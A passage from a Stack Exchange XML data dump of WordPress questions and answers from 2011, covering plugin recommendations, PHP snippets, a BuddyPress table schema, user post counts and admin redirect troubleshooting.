only some of the mentioned feature available. Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-03T15:27:12.400" LastActivityDate="2011-06-02T23:43:07.357" Title="Suggest a WordPress plugin for user generated content" Tags="&lt;plugin-recommendation&gt;&lt;3.1&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="16237" PostTypeId="2" ParentId="16236" CreationDate="2011-05-03T12:09:08.513" Score="-1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gdstarrating.com/&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-03T12:09:08.513" CommentCount="2" />
  <row Id="16238" PostTypeId="2" ParentId="16235" CreationDate="2011-05-03T12:10:48.143" Score="1" ViewCount="" Body="&lt;p&gt;Use standard &lt;code&gt;echo&lt;/code&gt; or &lt;code&gt;printf&lt;/code&gt; with additional parameters. e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($option['borderradius']) &amp;amp;&amp;amp; (!empty($option['borderradius']))) {   &#xA;    $borderradius = '.post { ';&#xA;    $borderradius .= 'border-radius: ' . $option['borderradius'] . 'px; ';&#xA;    $borderradius .= '-webkit-border-radius: ' . $option['borderradius'] . 'px; ';&#xA;    $borderradius .= '-moz-border-radius: ' . $option['borderradius'] . 'px; ';&#xA;    $borderradius .= '}';&#xA;&#xA;    echo $borderradius;&#xA;}&#xA;&#xA;if(isset($option['borderradius']) &amp;amp;&amp;amp; (!empty($option['borderradius']))) { &#xA;    printf('.post { border-radius: %spx; -webkit-border-radius: %spx; -moz-border-radius: %spx; }', $option['borderradius'], $option['borderradius'], $option['borderradius']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-03T12:10:48.143" CommentCount="3" />
  <row Id="16239" PostTypeId="2" ParentId="16233" CreationDate="2011-05-03T12:16:28.817" Score="4" ViewCount="" Body="&lt;p&gt;BuddyPress can be used as a framework - it allows you to friend other users, and is a good place to start from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the structure of the BuddyPress friends table (bp_friends)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE `wp_bp_friends` (&#xA;  `id` bigint(20) NOT NULL AUTO_INCREMENT,&#xA;  `initiator_user_id` bigint(20) NOT NULL,&#xA;  `friend_user_id` bigint(20) NOT NULL,&#xA;  `is_confirmed` tinyint(1) DEFAULT '0',&#xA;  `is_limited` tinyint(1) DEFAULT '0',&#xA;  `date_created` datetime NOT NULL,&#xA;  PRIMARY KEY (`id`),&#xA;  KEY `initiator_user_id` (`initiator_user_id`),&#xA;  KEY `friend_user_id` (`friend_user_id`)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-03T20:50:01.540" LastActivityDate="2011-05-03T20:50:01.540" CommentCount="4" />
  <row Id="16240" PostTypeId="1" AcceptedAnswerId="16346" CreationDate="2011-05-03T12:45:35.743" Score="3" ViewCount="92" Body="&lt;p&gt;I am new to wordpress, so if this question was already answered I apologize in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a search form in wordpress which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;wordpress/action.php&quot; id=&quot;search_form&quot; method=&quot;get&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;s&quot; class=&quot;hidden&quot;&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; size=&quot;30&quot; id=&quot;s&quot; name=&quot;s&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; id=&quot;searchsubmit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file &lt;em&gt;action.php&lt;/em&gt; looks up a given string (in this case a name) in a database and returns an array of &quot;similar&quot; written names. After hitting the submit button I want the results to be proposed in a clickable proper list to the user. I thought of listing the items in the same widget. Here the structure I was thinking of.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEARCH FIELD HERE | SUBMIT BUTTON HERE&#xA;&#xA;John Doe&#xA;John Dö&#xA;Johnny Doe&#xA;etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the user can click the prefered name and information to this name will be shown in the main part of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that already realizes that? Or do I have to write that on my own. In the second cas: What would be the best approach for that?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I was thinking about using sessions to store the result of a query of a user. Redirecting to the same page would let php read the list and print it to the widget. Would this be a usable approach? Well, I still need to know where to tell php to echo inside the text widget, though...&lt;/p&gt;&#xA;" OwnerUserId="5052" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T14:52:25.410" LastActivityDate="2011-05-04T14:52:25.410" Title="Displaying search results in the widget itself?" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;search&gt;&lt;list&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16241" PostTypeId="2" ParentId="16086" CreationDate="2011-05-03T13:58:37.373" Score="2" ViewCount="" Body="&lt;p&gt;Per default some meta boxes are hidden. These boxes are stored in an array which you can find in &lt;code&gt;wp-admin/includes/template.php#get_hidden_meta_boxes()&lt;/code&gt;. There is a filter, and therefore a chance for a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;/*&#xA;Plugin Name: Enable Custom Fields per Default&#xA;Version:     1.0&#xA;Required:    3.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL&#xA;*/&#xA;! defined( 'ABSPATH' ) and exit;&#xA;add_filter( 'default_hidden_meta_boxes', 'enable_custom_fields_per_default', 20, 1 );&#xA;&#xA;/**&#xA; * Removes custom fields from the default hidden elements.&#xA; *&#xA; * The original ( wp-admin/includes/template.php#get_hidden_meta_boxes() ):&#xA; * array(&#xA; *      'slugdiv',&#xA; *      'trackbacksdiv',&#xA; *      'postcustom',      &amp;lt;-- we need this&#xA; *      'postexcerpt',&#xA; *      'commentstatusdiv',&#xA; *      'commentsdiv',&#xA; *      'authordiv',&#xA; *      'revisionsdiv'&#xA; * )&#xA; *&#xA; * It has no effect if the user has decided to hide the box.&#xA; * This option is saved in &quot;metaboxhidden_{$screen-&amp;gt;id}&quot;&#xA; *&#xA; * @param  array $hidden&#xA; * @return array $hidden&#xA; */&#xA;function enable_custom_fields_per_default( $hidden )&#xA;{&#xA;    foreach ( $hidden as $i =&amp;gt; $metabox )&#xA;    {&#xA;        if ( 'postcustom' == $metabox )&#xA;        {&#xA;            unset ( $hidden[$i] );&#xA;        }&#xA;    }&#xA;    return $hidden;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it is quite simple to enable more fields.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-03T13:58:37.373" CommentCount="1" />
  <row Id="16242" PostTypeId="1" CreationDate="2011-05-02T21:54:46.773" Score="0" ViewCount="148" Body="&lt;p&gt;This is the very first time I experience this problem and I am an entire day trying to fix this. I don't know why every time I click on any admin link of Thesis, a theme system for WordPress, I am redirected to the WordPress home admin page, instead of the correct Thesis admin page. I am praying that this is something stupid of my part. I have set up the server with PHP and nginx (they both have the same user: &lt;code&gt;www-data&lt;/code&gt; and their primary group is the same as the group of my ssh user). All file and folder permissions are apparently fine. Oh boy this is a hard time for living... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All plugins are disabled ... And it seems all files are right there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the Thesis urls that are redrection to wordpress home admin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/admin.php?page=thesis-options&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/admin.php?page=thesis-design-options&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/admin.php?page=thesis-pages&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/admin.php?page=thesis-file-editor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/admin.php?page=options-manager&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other admin pages leads normally to their own pages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/options-general.php?page=google-sitemap-generator/sitemap.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/options-general.php?page=exec-php/includes/config_ui.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/post.php?post=1&amp;amp;action=edit&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;http://domain.com/wp/wp-admin/options-permalink.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is odd...&lt;/p&gt;&#xA;" OwnerUserId="7993" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-04T15:09:39.373" LastActivityDate="2011-08-29T23:51:26.663" Title="Thesis admin pages redirect to admin home?" Tags="&lt;admin&gt;&lt;nginx&gt;&lt;theme-thesis&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16243" PostTypeId="1" AcceptedAnswerId="16337" CreationDate="2011-05-03T14:48:43.337" Score="1" ViewCount="549" Body="&lt;p&gt;Is possible to get current-menu-item as a php variable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm listing the category museums via the menu item 'museums we support' so i'd like the get 'museums we support' bit and display it somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-04T13:36:07.100" LastActivityDate="2011-07-19T13:00:12.213" Title="How to get current-menu-item title as variable?" Tags="&lt;custom-menus&gt;&lt;title&gt;" AnswerCount="3" />
  <row Id="16245" PostTypeId="2" ParentId="7144" CreationDate="2011-05-03T15:07:53.030" Score="1" ViewCount="" Body="&lt;p&gt;I followed &lt;a href=&quot;http://scribu.net/wordpress/custom-sortable-columns.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; guide and I've got it working for the most part right now.&lt;/p&gt;&#xA;" OwnerUserId="5076" LastActivityDate="2011-05-03T15:07:53.030" />
  <row Id="16246" PostTypeId="2" ParentId="715" CreationDate="2011-05-03T15:07:57.570" Score="4" ViewCount="" Body="&lt;h3&gt;Use WordPress (built in) Error handling&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Don't just &lt;code&gt;return;&lt;/code&gt; if some user input was wrong. Deliver them some information about was was done wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function some_example_fn( $args = array() ) &#xA;{&#xA;    // If value was not set, build an error message&#xA;    if ( ! isset( $args['some_value'] ) )&#xA;        $error_msg = sprintf( __( 'You have forgotten to specify the %1$s for your function. %2$s Error triggered inside %3$s on line %4$s.', TEXTDOMAIN ), '$args['some_value']', &quot;\n&quot;, __FILE__, __LINE__ );&#xA;&#xA;    // trigger error&#xA;    $error = new WP_Error( 'some_example_fn', $error_msg );&#xA;    if ( is_wp_error( $error ) ) &#xA;    {&#xA;        $output = '&amp;lt;div id=&quot;error-'.$error-&amp;gt;get_error_code().'&quot; class=&quot;error error-notice&quot;&amp;gt;';&#xA;            $output = '&amp;lt;strong&amp;gt;';&#xA;                $output = $error-&amp;gt;get_error_message();&#xA;            $output = '&amp;lt;/strong&amp;gt;';&#xA;        $output = '&amp;lt;/div&amp;gt;';&#xA;&#xA;        // die &amp;amp; print error message &amp;amp; code (as title)&#xA;        wp_die( $output, $error-&amp;gt;get_error_code() );&#xA;    }&#xA;&#xA;    // Elseif no error was triggered continue...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-03T15:07:57.570" CommunityOwnedDate="2011-05-03T15:07:57.570" />
  <row Id="16247" PostTypeId="1" AcceptedAnswerId="16248" CreationDate="2011-05-03T15:17:49.273" Score="1" ViewCount="103" Body="&lt;p&gt;I want to list all the users of my site and the amount of posts each user has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have the function below, but I don't know how to pull in each user's ID to use in the count_user_posts...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php foreach ( get_users('order=DESC&amp;amp;orderby=post_count') as $user ) : ?&amp;gt;&#xA;    &amp;lt;li style=&quot;color:#fff;&quot;&amp;gt;&amp;lt;span style=&quot;font-weight:bold;&quot;&amp;gt;&#xA;    &amp;lt;?php echo $user-&amp;gt;display_name; ?&amp;gt;&amp;lt;/span&amp;gt; as &amp;lt;?php echo $user-&amp;gt;user_nicename; ?&amp;gt; (&amp;lt;?php echo $user-&amp;gt;post_count; ?&amp;gt; Posts)&amp;lt;br /&amp;gt;&#xA;    &amp;lt;?php echo 'Posts made: ' . count_user_posts(1); ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have foreach function going, but count_user_posts requires an integer I don't pull in each individual user ID to grab their post amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some help with this. I know it's probably something simple... I'm kind of new to php :D. Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-05-03T16:13:10.533" Title="How to list users and their post amount?" Tags="&lt;posts&gt;&lt;users&gt;" AnswerCount="2" />
  <row Id="16248" PostTypeId="2" ParentId="16247" CreationDate="2011-05-03T15:24:19.767" Score="2" ViewCount="" Body="&lt;p&gt;WordPress has a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_authors&quot; rel=&quot;nofollow&quot;&gt;wp_list_authors&lt;/a&gt; function with the option to list post count.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array( 'orderby' =&amp;gt; 'post_count', 'optioncount' =&amp;gt; true);&#xA;wp_list_authors( $args );&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: While it's possible to do it the way you're doing it and use count_user_posts(), this will trigger a query to retrieve users, then additional queries to get each user's count. this is a very inefficient way to do this and may have a significant impact on performance if you have a lot of authors. A better way is to select users, and count the posts all in one query. If you look in &lt;code&gt;wp-includes/author-template.php&lt;/code&gt; you'll see the query &lt;code&gt;wp_list_authors&lt;/code&gt; generates to do this.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-03T16:13:10.533" LastActivityDate="2011-05-03T16:13:10.533" CommentCount="1" />
  <row Id="16249" PostTypeId="1" AcceptedAnswerId="16469" CreationDate="2011-05-03T15:28:09.603" Score="0" ViewCount="114" Body="&lt;p&gt;For some reason WordPress media manager is only showing 2 images per page? This is happening on 2 separate sites now and I can't get rid of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to manipulate items per page for the wp-admin media library?&lt;/p&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-04T13:40:07.703" LastActivityDate="2011-05-05T17:11:52.993" Title="Media library only show 2 items per page?" Tags="&lt;pagination&gt;&lt;attachments&gt;&lt;media&gt;&lt;media-library&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16250" PostTypeId="2" ParentId="16243" CreationDate="2011-05-03T15:35:54.373" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure I exactly follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Museums We Support&quot; is generated by a Post Title, Page Title, Category Title, etc. (or, if you're using a Custom Navigation Menu, it could be a custom Title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you trying to do with this text? Where are you trying to display it? I assume you're trying to display it on the Category Index Page (since you indicate it is &lt;code&gt;current-menu-item&lt;/code&gt;)? If so, simply call &lt;code&gt;&amp;lt;?php single_cat_title(); ?&amp;gt;&lt;/code&gt; to output the Category Title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need additional category information, you can use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = get_the_category();&#xA;$currentcat = $cat[0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which makes available the following variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currentcat=&amp;gt;cat_ID // Category ID&#xA;$currentcat=&amp;gt;cat_name // Category Name (Same as Title)&#xA;$currentcat=&amp;gt;category_nicename // Category Slug&#xA;$currentcat=&amp;gt;category_description // Category Description&#xA;$currentcat=&amp;gt;category_count // Category Count (# of Posts w/ this Category)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're somewhere &lt;em&gt;other&lt;/em&gt; than the Category Index Page, you'll need to pass the $catid to these functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you indicated that &quot;Museums We Support&quot; is a custom Menu Title, the &lt;em&gt;easiest&lt;/em&gt; approach would be to &lt;em&gt;rename the Category&lt;/em&gt; from &quot;Museums&quot; to &quot;Museums We Support&quot; (note: you can leave the slug, &lt;code&gt;museums&lt;/code&gt;, unchanged). However, doing so would mean that &quot;Museums We Support&quot; would be displayed as the Category Title wherever else it might be output in your template. If that is acceptable, then no worries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you will have to use something like &lt;code&gt;wp_get_nav_menu_items()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) in order to grab the Title for the specific menu item.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-03T16:11:08.693" LastActivityDate="2011-05-03T16:11:08.693" CommentCount="3" />
  <row Id="16251" PostTypeId="1" CreationDate="2011-05-03T14:08:10.643" Score="3" ViewCount="145" Body="&lt;p&gt;I am familiar with user roles and how to change them within Wordpress 3+, My problem is when I disable a user from being able to view plugins, all plugins are disabled from view. How do I let them see only specific plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael&lt;/p&gt;&#xA;" OwnerUserId="5177" LastActivityDate="2011-07-18T07:21:25.980" Title="How do I allow a specific Role in Wordpress 3+ to only see certain plugins?" Tags="&lt;roles&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="16252" PostTypeId="2" ParentId="16251" CreationDate="2011-05-03T14:27:07.370" Score="0" ViewCount="" Body="&lt;p&gt;I think you won't find the functionality you are searching for in the base install of Wordpress. The &lt;a href=&quot;http://agapetry.net/news/introducing-role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper&lt;/a&gt; plugin enables to define more specific rolesets that are user and group based &lt;/p&gt;&#xA;" OwnerUserId="5131" LastActivityDate="2011-05-03T14:27:07.370" CommentCount="2" />
  <row Id="16253" PostTypeId="2" ParentId="16251" CreationDate="2011-05-03T15:08:26.650" Score="1" ViewCount="" Body="&lt;p&gt;Add your plugin with a capability argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if your plugin entry point is an admin page menu, you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_menu_page(page_title, menu_title, capability, handle, [function], [icon_url])&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the &quot;capability&quot; to &quot;upload_files&quot;. that function sees that capability argument as &quot;The minimum capability required to display and use this menu page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a good capability to use is &lt;code&gt;publish_pages&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for more info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_menu_page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_menu_page&lt;/a&gt;&#xA;http://codex.wordpress.org/Roles_and_Capabilities&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-03T15:08:26.650" />
  <row Id="16254" PostTypeId="2" ParentId="16247" CreationDate="2011-05-03T15:56:06.557" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo 'Posts made: ' . count_user_posts($user-&amp;gt;ID); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-03T15:56:06.557" />
  <row Id="16255" PostTypeId="1" AcceptedAnswerId="16275" CreationDate="2011-05-03T16:11:57.150" Score="0" ViewCount="71" Body="&lt;p&gt;Is there a theme or some hack of the categories system that I can use to create a site for a podcast network? I want it similar to &lt;a href=&quot;http://twit.tv&quot; rel=&quot;nofollow&quot;&gt;This Week in Tech&lt;/a&gt; in that all the podcasts will appear on the front page, but also each have their own homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think a multi-site installation will be my solution. Each podcast must have its own RSS feed with podcast enclosures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how this could be done? I'm thinking that each podcast would be a category and each podcast home would be a separate category listing page.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastEditorUserId="2001" LastEditorDisplayName="" LastEditDate="2011-05-03T21:07:30.347" LastActivityDate="2011-05-12T21:19:46.300" Title="Wordpress for Podcast Network" Tags="&lt;categories&gt;&lt;podcasting&gt;" AnswerCount="4" />
  <row Id="16256" PostTypeId="1" CreationDate="2011-05-03T16:32:42.630" Score="-1" ViewCount="292" Body="&lt;p&gt;I have WordPress installed on my localhost. All worked perfectly till today. But today when I enter &lt;a href=&quot;http://localhost/wp-admin&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wp-admin&lt;/a&gt; in the url to access the admin panel, it redirects back to the home page. I can't get access the admin panel. It's not happened before, whenever I try to access admin panel, it does. &#xA;Please guys help me out....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="5078" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-03T19:34:37.990" LastActivityDate="2011-09-05T04:55:06.467" Title="wp-admin is redirecting to back to home page (localhost) " Tags="&lt;wp-admin&gt;&lt;local-installation&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="16257" PostTypeId="2" ParentId="16251" CreationDate="2011-05-03T16:33:19.957" Score="0" ViewCount="" Body="&lt;p&gt;I was going to suggest the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members plugin&lt;/a&gt; by Justin Tadlock, but with that one it's also difficult to show some plugins and others not.&#xA;Perhaps &lt;a href=&quot;http://senl.in/iKOQwu&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; (from &quot;Removing Menu Items&quot;) can help you on your way a bit further?&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-03T16:33:19.957" />
  <row Id="16258" PostTypeId="2" ParentId="16256" CreationDate="2011-05-03T16:37:45.453" Score="0" ViewCount="" Body="&lt;p&gt;This sounds more like a &quot;Troubleshooting&quot; support question:&#xA;&lt;a href=&quot;http://wordpress.org/support/forum/how-to-and-troubleshooting&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/forum/how-to-and-troubleshooting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-03T16:37:45.453" />
  <row Id="16259" PostTypeId="2" ParentId="16256" CreationDate="2011-05-03T17:04:51.130" Score="0" ViewCount="" Body="&lt;p&gt;May sound like a dumb answer - but did you double check to make sure that Xammp or whatever program you are using to run the localhost server has been turned on? &lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-05-03T17:04:51.130" />
  <row Id="16260" PostTypeId="1" AcceptedAnswerId="16268" CreationDate="2011-05-03T17:12:05.703" Score="0" ViewCount="130" Body="&lt;p&gt;OK so i am drawing a blank. I have setup a WordPress 3.1.2 Network site and want the main site to appear with www.mydomain.com not mydomain.com and i can get that to work but the back-end on the network admin breaks when i go to add a site it gives me the error &quot;Are you sure you want to do this&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i disable the redirect of non-www to www it works fine. I have setup the wp_options table with site home and url of www.mydomain.com so i do not get this at all. I had it working in 3.0 but now 3.1 not working&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-03T19:19:06.297" Title="Wordpress 3.1.2 Network Enabled non-www to www" Tags="&lt;url-rewriting&gt;&lt;redirect&gt;&lt;network&gt;" AnswerCount="1" />
  <row Id="16261" PostTypeId="1" CreationDate="2011-05-03T17:32:53.257" Score="0" ViewCount="82" Body="&lt;p&gt;I want to create a static, company brochure site.  I created a page called &quot;HOME&quot; and I was able to change the reading settings to static, and select &quot;HOME&quot; from the drop down box.  I then created a page named &quot;ABOUT-US&quot;.  It appears in the main menu, but when I click on it I get a 404 error.  I also need to create an page called &quot;ADVANTAGES&quot;, with sub pages (e.g. Advantage-A, Advantage-B, etc.).  How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to WP. I've tried blogging and its fine.  Can anyone suggest a tutorial or book for this?  It would be a great help.  I Googled it in vain, it was no big help.&lt;/p&gt;&#xA;" OwnerUserId="5080" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-05-03T19:54:04.700" LastActivityDate="2011-05-03T19:54:04.700" Title="Problems in creating a static site with WordPress" Tags="&lt;pages&gt;&lt;menus&gt;&lt;static-website&gt;" AnswerCount="1" />
  <row Id="16262" PostTypeId="2" ParentId="16261" CreationDate="2011-05-03T17:39:06.780" Score="1" ViewCount="" Body="&lt;p&gt;First, check your permalink settings: &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Permalinks&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, check to ensure you don't somehow have a Page slug conflict. Go to &lt;code&gt;Dashboard -&amp;gt; Pages&lt;/code&gt;, click the &quot;Trash&quot; tab, and ensure you don't have any Pages in the trash (if so, delete them if you don't need them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, check the page-slug for your &quot;About-Us&quot; Page, and ensure that it matches what is being linked in your Page Menu. If they don't match, that will explain your 404 error.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-03T17:39:06.780" CommentCount="20" />
  <row Id="16263" PostTypeId="1" AcceptedAnswerId="16265" CreationDate="2011-05-03T17:54:46.920" Score="0" ViewCount="122" Body="&lt;p&gt;I'm developing a a site using the wp e-commerce plugin, and it handles tags in pretty much the same way it would if I were using it for a blog instead of a store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that I want to use the tags as a secondary kind of navigation menu so that customers can view all items made from a certain material no matter what product category the item is in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that the theme-functions page within wp e-commerce is causing certain tags to be in huge fonts as these tags are related to more products. What I want to do is be able to display each of the tags as links within &lt;code&gt;&amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;&lt;/code&gt; with each tag using the same sized font.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand some basics of php, but not enough to fully decode the theme functions file and edit it. I have considered waiting until I've got all of the products into the system then handcoding the list of tags, but then if my client wants to add more tags in the future they obviously won't be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any insights or ideas Id be very greatful. I would post the code in question here but its about 200 lines long - but if it's needed in order to find the solution pls tell me so that I can add it.&lt;/p&gt;&#xA;" OwnerUserId="4871" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-03T19:53:48.367" LastActivityDate="2011-05-03T20:19:37.310" Title="Making tags appear as an Unordered list &lt;ul&gt; instead of a 'cloud'" Tags="&lt;widgets&gt;&lt;tags&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="2" CommentCount="1" />
